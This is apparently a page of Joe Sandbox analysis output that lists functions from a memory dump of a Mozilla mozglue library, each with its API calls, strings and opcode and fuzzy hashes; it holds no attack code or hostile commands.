Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CurrentThread$ConditionInitializeNow@Stamp@mozilla@@TimeV12@_Variablefree
String ID:
API String ID: 1909280232-0
Opcode ID: 0ca002dd844b3fae3e275a430cadd583ac8803f188da32b75f4bd85106578396
Instruction ID: e050b1018c7d22a08d4998c75a3a34309f32812660a50b0fbb89e199e840f61e
Opcode Fuzzy Hash: 0ca002dd844b3fae3e275a430cadd583ac8803f188da32b75f4bd85106578396
Instruction Fuzzy Hash: 2361DC35A007509BDB21DF21C881FEEB7B0BF89318F44851DE98A57701EB35E989CB91

Function 6C419F40 Relevance: 9.2, APIs: 6, Instructions: 157timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C419FDB
free.MOZGLUE(?,?), ref: 6C419FF0
free.MOZGLUE(?,?), ref: 6C41A006
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?), ref: 6C41A0BE
free.MOZGLUE(?,?), ref: 6C41A0D5
free.MOZGLUE(?,?), ref: 6C41A0EB

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: aabdbb71efad1024c6411c7f59173c9bc000f217e274dd2942a4ccc1f1d5738e
Instruction ID: 93b4aff37e27facf86dc7bf58b9c169c7b7aafadde7766f1ac5dbc08e4ca9b00
Opcode Fuzzy Hash: aabdbb71efad1024c6411c7f59173c9bc000f217e274dd2942a4ccc1f1d5738e
Instruction Fuzzy Hash: 0561A3755087019FC711CF18C4809AAB7F5FFC8329F54465AE8999BB02E732E986CBC2

Function 6C41DC50 Relevance: 9.1, APIs: 6, Instructions: 104timethreadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C41DC60
AcquireSRWLockExclusive.KERNEL32(?,?,?,6C41D38A,?), ref: 6C41DC6F
free.MOZGLUE(?,?,?,?,?,6C41D38A,?), ref: 6C41DCC1
ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,6C41D38A,?), ref: 6C41DCE9
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,6C41D38A,?), ref: 6C41DD05
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(00000001,?,?,?,6C41D38A,?), ref: 6C41DD4A

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: ExclusiveLockStampTimeV01@@Value@mozilla@@$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 1842996449-0
Opcode ID: fa50ec02938faee83a8132331314ffc3cd22a36db3c5f99cd82415557e1c09e8
Instruction ID: 02c09273991c43197bece7058f073a92a6e58926600d7219e98eaa4c99caaf6e
Opcode Fuzzy Hash: fa50ec02938faee83a8132331314ffc3cd22a36db3c5f99cd82415557e1c09e8
Instruction Fuzzy Hash: 3B415CB5A00615DFCB00DF99C880DAAB7F5FF89318B654569D985A7B10EB31FC00CB90

Function 6C41C810 Relevance: 9.1, APIs: 6, Instructions: 75COMMON

Download Yara Rule

APIs

??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000), ref: 6C41C82D
??Bid@locale@std@@QAEIXZ.MSVCP140 ref: 6C41C842

Part of subcall function 6C41CAF0: ?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(00000000,00000000,?,6C43B5EB,00000000), ref: 6C41CB12

?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,00000000), ref: 6C41C863
std::_Facet_Register.LIBCPMT ref: 6C41C875

Part of subcall function 6C3FB13D: ??_U@YAPAXI@Z.MOZGLUE(00000008,?,?,6C43B636,?), ref: 6C3FB143

??1_Lockit@std@@QAE@XZ.MSVCP140(00000000), ref: 6C41C89A
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C41C8BC

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_Bid@locale@std@@Facet_Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterV42@@Vfacet@locale@2@abortstd::_
String ID:
API String ID: 2745304114-0
Opcode ID: 1e708d0d59a5bfaf5b3c3858ced9656ae15f3e5790f3cac74adc932fa44ae5b6
Instruction ID: 232d4629d64544c385173f1ab3495e4a8b45a0707d8d0254378cfa0dd4fa2343
Opcode Fuzzy Hash: 1e708d0d59a5bfaf5b3c3858ced9656ae15f3e5790f3cac74adc932fa44ae5b6
Instruction Fuzzy Hash: 481193B5B002099FCB00FFA4C8C5DAF7BB4EF89359B104179E95697741DB309905CBA1

Function 6C3FF440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6C3FF480

Part of subcall function 6C3CF100: LoadLibraryW.KERNEL32(shell32,?,6C43D020), ref: 6C3CF122
Part of subcall function 6C3CF100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C3CF132

CloseHandle.KERNEL32(00000000), ref: 6C3FF555

Part of subcall function 6C3D14B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6C3D1248,6C3D1248,?), ref: 6C3D14C9
Part of subcall function 6C3D14B0: memcpy.VCRUNTIME140(?,6C3D1248,00000000,?,6C3D1248,?), ref: 6C3D14EF

Part of subcall function 6C3CEEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6C3CEEE3

CreateFileW.KERNEL32 ref: 6C3FF4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6C3FF523

Strings

\oleacc.dll, xrefs: 6C3FF4CB

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: e297b0ca4e236fe67a046b5dc6046fdd6ca4b3bee07202b669e3af279fa9999d
Instruction ID: ca95d7b67182e7f51fc39a0c8cc48deb6fcf8619e1a1d7ab814fdf0d14a46df8
Opcode Fuzzy Hash: e297b0ca4e236fe67a046b5dc6046fdd6ca4b3bee07202b669e3af279fa9999d
Instruction Fuzzy Hash: C74194706147509FD721DF69C884B9AB7F4AF88318F204E18E9A483650EB34D949CF92

Function 6C40E020 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 76threadCOMMON

Download Yara Rule

APIs

Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C3D4A68), ref: 6C40945E
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C409470
Part of subcall function 6C409420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C409482
Part of subcall function 6C409420: __Init_thread_footer.LIBCMT ref: 6C40949F

GetCurrentThreadId.KERNEL32 ref: 6C40E047
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C40E04F

Part of subcall function 6C4094D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C4094EE
Part of subcall function 6C4094D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C409508

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C40E09C
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C40E0B0

Strings

[I %d/%d] profiler_get_profile, xrefs: 6C40E057

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: getenv$free$CurrentInit_thread_footerThread__acrt_iob_func__stdio_common_vfprintf_getpid
String ID: [I %d/%d] profiler_get_profile
API String ID: 1832963901-4276087706
Opcode ID: dab0f780c870e23f47d0ea7073b7a059624fe7083defde75616c893209f4c4d0
Instruction ID: 22b470af9fd3c72c2c08eb3bb3e8b138441728689bbcda85c913a4cacc72bf22
Opcode Fuzzy Hash: dab0f780c870e23f47d0ea7073b7a059624fe7083defde75616c893209f4c4d0
Instruction Fuzzy Hash: BF21D074B401188FDF00EF64D898EAEB7B5EF8520DF244028E94AA7340DB31A919C7E1

Function 6C4274A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6C427526
__Init_thread_footer.LIBCMT ref: 6C427566
__Init_thread_footer.LIBCMT ref: 6C427597

Strings

UnmapViewOfFile2, xrefs: 6C427552
kernel32.dll, xrefs: 6C427557

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: 94890e97f1bf245fadf27fd22b3fbc0b541aab75356c6b9d4d646049417c33c0
Instruction ID: bc7a8cf4ed966f0d0bcc89876d8cb5cca4ea8a10c40d3be2e8874d511a3ef073
Opcode Fuzzy Hash: 94890e97f1bf245fadf27fd22b3fbc0b541aab75356c6b9d4d646049417c33c0
Instruction Fuzzy Hash: 87212531B06541A7EB14EFE9C856E4AB375EB8673DF218528D80147F40CB2CA802CA92

Function 6C42A7A0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 43stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C44F770,-00000001,?,6C43E330,?,6C3EBDF7), ref: 6C42A7AF
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,accelerator.dll,?,6C3EBDF7), ref: 6C42A7C2
moz_xmalloc.MOZGLUE(00000018,?,6C3EBDF7), ref: 6C42A7E4
LeaveCriticalSection.KERNEL32(6C44F770), ref: 6C42A80A

Strings

accelerator.dll, xrefs: 6C42A7BF

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSection$EnterLeavemoz_xmallocstrcmp
String ID: accelerator.dll
API String ID: 2442272132-2426294810
Opcode ID: 6638980fde77bc83733c024caec534fec7a0c1c1a8aed7ced2d97e7d5ea1b69b
Instruction ID: c6ad92afa0fce8f087245e4b5e65bf434f2fc3fa7bd83673ecffd4c08a52f2df
Opcode Fuzzy Hash: 6638980fde77bc83733c024caec534fec7a0c1c1a8aed7ced2d97e7d5ea1b69b
Instruction Fuzzy Hash: E8018F71A113049FAB04EF95D885D15BBF8FF8A329725C06AED098B701DB74A804CBA1

Function 6C4275B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C42748B,?), ref: 6C4275B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C4275D7
FreeLibrary.KERNEL32(?,6C42748B,?), ref: 6C4275EC

Strings

ntdll.dll, xrefs: 6C4275B3
RtlNtStatusToDosError, xrefs: 6C4275D1

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 03ee2f8a3a13f4e94d2afcafed504cd6aa6e3decf1547c244d95520fc7eb3443
Instruction ID: 5b770e5f67b5ebe42073b015e764ee4b73d75f02b3bf6f16e43581a7cbbe4a53
Opcode Fuzzy Hash: 03ee2f8a3a13f4e94d2afcafed504cd6aa6e3decf1547c244d95520fc7eb3443
Instruction Fuzzy Hash: 69E07E71A06701ABFB00FBA6C848F05BAF8EB4625DF30D025A90591A01EEB98051CF11

Function 6C427600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C427592), ref: 6C427608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C427627
FreeLibrary.KERNEL32(?,6C427592), ref: 6C42763C

Strings

NtUnmapViewOfSection, xrefs: 6C427621
ntdll.dll, xrefs: 6C427603

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 5568ea08e0c741e7712ff73ee3c3eb53cc733d68792a589fe71ecbb56067fbe1
Instruction ID: 1fc6571267c356e386d16e56928ed9b3d6c7cbb5af6e8c51496b10c65576263c
Opcode Fuzzy Hash: 5568ea08e0c741e7712ff73ee3c3eb53cc733d68792a589fe71ecbb56067fbe1
Instruction Fuzzy Hash: 36E092B4A46741ABFF00FFA6C808F05BEB9E75A2ADF31D125E905D1701EBB880108B14

Function 6C42BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C42BE49), ref: 6C42BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C42BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C42BE49), ref: 6C42BF38
RtlReAllocateHeap.NTDLL ref: 6C42BF83
RtlFreeHeap.NTDLL(6C42BE49,00000000), ref: 6C42BFA6

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: 2732eefe36d69717ea646a534c30d57ba52e6488d1fce9d371d49fb98934012e
Instruction ID: 1c1a931824c37a4395b7fdb9d87bddf74d8ffde1f2ae90aa3fc6acb068f2aa35
Opcode Fuzzy Hash: 2732eefe36d69717ea646a534c30d57ba52e6488d1fce9d371d49fb98934012e
Instruction Fuzzy Hash: D1517F71A002158FE724CF69CD81FAAB3B2FF88314F294629D556E7B94D734F9068B80

Function 6C418E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C40B58D,?,?,?,?,?,?,?,6C43D734,?,?,?,6C43D734), ref: 6C418E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C40B58D,?,?,?,?,?,?,?,6C43D734,?,?,?,6C43D734), ref: 6C418EBF
free.MOZGLUE(?,?,?,?,6C40B58D,?,?,?,?,?,?,?,6C43D734,?,?,?), ref: 6C418F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C40B58D,?,?,?,?,?,?,?,6C43D734,?,?,?,6C43D734), ref: 6C418F46
free.MOZGLUE(?,?,?,?,6C40B58D,?,?,?,?,?,?,?,6C43D734,?,?,?), ref: 6C418F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C40B58D,?,?,?,?,?,?,?,6C43D734,?,?,?), ref: 6C418F8F

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 9afda8d562260681b8b63617486fcfc0f154083b0de6bd7fa73621a04e76f2c5
Instruction ID: 7b44ca2dccfc5b2aad6208fd7a2f38fbba6a55518c3e3543dd636ace71513361
Opcode Fuzzy Hash: 9afda8d562260681b8b63617486fcfc0f154083b0de6bd7fa73621a04e76f2c5
Instruction Fuzzy Hash: 815190B1A052168FEB11DF54D880FAE73B2EB49308F26052AD956ABB40E731F905CB91

Function 6C4127E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C412620,?,?,?,6C4060AA,6C405FCB,6C4079A3), ref: 6C41284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C412620,?,?,?,6C4060AA,6C405FCB,6C4079A3), ref: 6C41289A
free.MOZGLUE(?,?,?,6C412620,?,?,?,6C4060AA,6C405FCB,6C4079A3), ref: 6C4128F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C412620,?,?,?,6C4060AA,6C405FCB,6C4079A3), ref: 6C412910
free.MOZGLUE(00000001,?,?,6C412620,?,?,?,6C4060AA,6C405FCB,6C4079A3), ref: 6C41293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C412620,?,?,?,6C4060AA,6C405FCB,6C4079A3), ref: 6C41294E

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: b6801e6ff842a377228ff686a58dfc988b017d243503069b76a96f924d8f3eb3
Instruction ID: 799a0a58b2a42d579ea630bf53342f0d8aa4b824138020914597d1b0b4dbf2bf
Opcode Fuzzy Hash: b6801e6ff842a377228ff686a58dfc988b017d243503069b76a96f924d8f3eb3
Instruction Fuzzy Hash: 1B41A2B1B142068FEB24CF68D884F6A73F6EB46308F244539D596EBB40EB31E904CB51

Function 6C3CCFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C44E784), ref: 6C3CCFF6
LeaveCriticalSection.KERNEL32(6C44E784), ref: 6C3CD026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C3CD06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C3CD139

Strings

MOZ_CRASH(), xrefs: 6C3CD187

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 82a424a9f5073386a5f5e0109fda4ce93fc732647fa839fa2de2d7f9ba17e305
Instruction ID: a7c674103ac03150cd724dffaf52d5c675ea0fa418f39803c51072d688a58508
Opcode Fuzzy Hash: 82a424a9f5073386a5f5e0109fda4ce93fc732647fa839fa2de2d7f9ba17e305
Instruction Fuzzy Hash: BB419E72F816164FDB04EF6C8CD07AEB6A4EB49728F254139FA18E7784D6A15C018BD1

Function 6C3C4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C3C4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C3C4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3C4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C3C4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C3C4F1E

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: a37ffa4ec72a3482b299c171d72a05de610c080fb8a7d836b5ce867ec6500139
Instruction ID: 5c8d390b9f86aa93fd02414dd428c54fcc45bd7b8dcdc35b559a6dd802222ebf
Opcode Fuzzy Hash: a37ffa4ec72a3482b299c171d72a05de610c080fb8a7d836b5ce867ec6500139
Instruction Fuzzy Hash: DA41B0716087059FC705CF69C4809AFBBE8BF89358F108A1DF4A587641DB71E954CF92

Function 6C42A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C44F770), ref: 6C42A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C42A87B

Part of subcall function 6C42A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C42A88F,00000000), ref: 6C42A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C42A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C42A90C
LeaveCriticalSection.KERNEL32(6C44F770), ref: 6C42A97E

Memory Dump Source

Source File: 00000000.00000002.1889221549.000000006C3C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C3C0000, based on PE: true

Associated: 00000000.00000002.1889200305.000000006C3C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889354412.000000006C44E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1889398481.000000006C452000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c3c0000_1jPL5zru3u.jbxd

Similarity

